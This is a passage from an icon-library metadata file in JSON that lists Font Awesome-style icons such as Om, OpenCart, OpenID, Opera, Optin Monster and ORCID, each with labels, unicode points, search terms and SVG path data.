3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z" + } + }, + "free": [ + "brands" + ] + }, + "om": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buddhism", + "hinduism", + "jainism", + "mantra" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f679", + "label": "Om", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635615, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z" + } + }, + "free": [ + "solid" + ] + }, + "opencart": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f23d", + "label": "OpenCart", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861009, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z" + } + }, + "free": [ + "brands" + ] + }, + "openid": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f19b", + "label": "OpenID", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861010, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z" + } + }, + "free": [ + "brands" + ] + }, + "opera": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f26a", + "label": "Opera", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861010, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z" + } + }, + "free": [ + "brands" + ] + }, + "optin-monster": { + "changes": [ + "4.4", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f23c", + "label": "Optin Monster", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699930, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z" + } + }, + "free": [ + "brands" + ] + }, + "orcid": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f8d2", + "label": "ORCID", + "svg": { + "brands": { + "last_modified": 1568817883852, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z" + } + }, + "free": [ + "brands" + ] + }, + "osi": { + "changes": [ + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41a", + "label": "Open Source Initiative", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775906, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 266.44C10.3 